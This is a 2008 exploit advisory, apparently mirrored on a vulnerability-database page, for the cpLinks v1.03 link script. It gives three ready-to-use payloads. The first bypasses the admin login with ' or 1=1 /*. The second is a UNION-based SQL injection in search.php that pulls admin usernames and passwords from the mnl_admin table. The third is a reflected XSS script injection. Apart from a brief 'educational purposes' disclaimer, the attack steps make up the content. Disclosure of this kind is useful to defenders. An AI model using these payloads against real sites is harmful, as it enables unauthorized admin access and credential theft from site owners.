cpLinks 1.03 (bypass/SQL/XXS) Multiple Remote Vulnerabilities

🗓️ 05 May 2008 00:00:00Reported by RootType
cpLinks v1.03 Multiple Vulnerabilities (bypass/SQL/XXS) by InjEctOr and FishEr762. Exploit for educational purposes. Site: http://www.cplinks.com

                                                |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;______&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|
|&nbsp;&nbsp;&nbsp;/'&nbsp;\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__&nbsp;&nbsp;/'__`\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/\&nbsp;\__&nbsp;&nbsp;/'__`\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/\&nbsp;&nbsp;___\&nbsp;&nbsp;&nbsp;&nbsp;|
|&nbsp;&nbsp;/\_,&nbsp;\&nbsp;&nbsp;&nbsp;&nbsp;___&nbsp;&nbsp;&nbsp;/\_\/\_\L\&nbsp;\&nbsp;&nbsp;&nbsp;&nbsp;___\&nbsp;\&nbsp;,_\/\&nbsp;\/\&nbsp;\&nbsp;&nbsp;_&nbsp;__\&nbsp;\&nbsp;\__/&nbsp;&nbsp;&nbsp;&nbsp;|
|&nbsp;&nbsp;\/_/\&nbsp;\&nbsp;/'&nbsp;_&nbsp;`\&nbsp;\/\&nbsp;\/_/_\_&lt;_&nbsp;&nbsp;/'___\&nbsp;\&nbsp;\/\&nbsp;\&nbsp;\&nbsp;\&nbsp;\/\`'__\&nbsp;\___``\&nbsp;&nbsp;|
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;\&nbsp;\/\&nbsp;\/\&nbsp;\&nbsp;\&nbsp;\&nbsp;\/\&nbsp;\L\&nbsp;\/\&nbsp;\__/\&nbsp;\&nbsp;\_\&nbsp;\&nbsp;\_\&nbsp;\&nbsp;\&nbsp;\/&nbsp;\/\&nbsp;\L\&nbsp;\&nbsp;|
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;\_\&nbsp;\_\&nbsp;\_\_\&nbsp;\&nbsp;\&nbsp;\____/\&nbsp;\____\\&nbsp;\__\\&nbsp;\____/\&nbsp;\_\&nbsp;&nbsp;\&nbsp;\____/&nbsp;|
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/_/\/_/\/_/\&nbsp;\_\&nbsp;\/___/&nbsp;&nbsp;\/____/&nbsp;\/__/&nbsp;\/___/&nbsp;&nbsp;\/_/&nbsp;&nbsp;&nbsp;\/___/&nbsp;&nbsp;|
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;\____/&nbsp;&gt;&gt;&nbsp;Kings&nbsp;of&nbsp;injection&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/___/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|

Title&nbsp;::&nbsp;cpLinks&nbsp;v1.03&nbsp;Multiple&nbsp;Vulnerabilities&nbsp;(bypass/SQL/XXS)


Author&nbsp;::&nbsp;InjEctOr&nbsp;[s0f&nbsp;(at)&nbsp;w&nbsp;(dot)&nbsp;cn]

&amp;&amp;&nbsp;FishEr762&nbsp;&nbsp;[SQ7&nbsp;(at)&nbsp;w&nbsp;(dot)&nbsp;cn&nbsp;]


Script&nbsp;Site&nbsp;::&nbsp;http://www.cplinks.com/

Dork&nbsp;&nbsp;::&nbsp;ThinkinG&nbsp;

Greets&nbsp;::&nbsp;Allah&nbsp;,TryaG&nbsp;TeaM&nbsp;&amp;&nbsp;Muslims&nbsp;Hackers

Terms&nbsp;of&nbsp;use&nbsp;::&nbsp;This&nbsp;exploit&nbsp;is&nbsp;just&nbsp;for&nbsp;educational&nbsp;purposes,&nbsp;DO&nbsp;NOT&nbsp;use&nbsp;it&nbsp;for&nbsp;illegal&nbsp;acts.



--------------------------------------------[C&nbsp;o&nbsp;n&nbsp;t&nbsp;e&nbsp;x&nbsp;t]-----------------------------------------




##########################
##Expl0!T1&nbsp;bypass&nbsp;login&nbsp;##
##########################


http://[site]/[script]/admin/


in&nbsp;username&nbsp;filed&nbsp;insert:

'&nbsp;or&nbsp;1=1&nbsp;/*&nbsp;&nbsp;&nbsp;&nbsp;

addition,&nbsp;some&nbsp;time&nbsp;must&nbsp;type&nbsp;any&nbsp;thing&nbsp;in&nbsp;password&nbsp;field



#####################################
##&nbsp;Explo!T&nbsp;2&nbsp;&nbsp;Reomte&nbsp;SQL&nbsp;Injection&nbsp;##
#####################################

file/
search.php


@&nbsp;line&nbsp;57&nbsp;::


$query&nbsp;=&nbsp;&quot;SELECT
			category,
			sub_category,
			title,
			url,
			description,
			status
			FROM&nbsp;mnl_links
			WHERE&nbsp;category='$search_category'
			AND&nbsp;description&nbsp;LIKE&nbsp;'%$search_text%'
			AND&nbsp;approved='yes'
			ORDER&nbsp;BY&nbsp;status,&nbsp;rec_timestamp&quot;;


search&nbsp;url:&nbsp;http://localhost/[script's_bad_day]/search.php

so&nbsp;just&nbsp;insert&nbsp;in&nbsp;search&nbsp;filed&nbsp;this&nbsp;query&nbsp;:)

'&nbsp;union&nbsp;select&nbsp;admin_username,admin_password,3,4,5,6&nbsp;from&nbsp;mnl_admin/*


##################
##&nbsp;EXpl!T3&nbsp;Xss&nbsp;&nbsp;##
##################


Vulnerability&nbsp;found&nbsp;in&nbsp;script&nbsp;search.php&nbsp;..&nbsp;also&nbsp;!


in&nbsp;search&nbsp;field&nbsp;insert&nbsp;&nbsp;&gt;&quot;&gt;&nbsp;and&nbsp;then&nbsp;&nbsp;xss&nbsp;c0de&nbsp;::



example:&nbsp;&gt;&quot;&gt;&lt;script&gt;alert(&quot;!!&nbsp;InjEctOr&nbsp;TeaM&nbsp;Became&nbsp;Here&nbsp;!!&quot;)&lt;/script&gt;&gt;



###############&nbsp;T|-|4t'5&nbsp;4ll&nbsp;###############&nbsp;


-------------------------------------------[End&nbsp;of&nbsp;&nbsp;context]----------------------------------------
05 May 2008 00:00Current
7.1High risk
Vulners AI Score7.1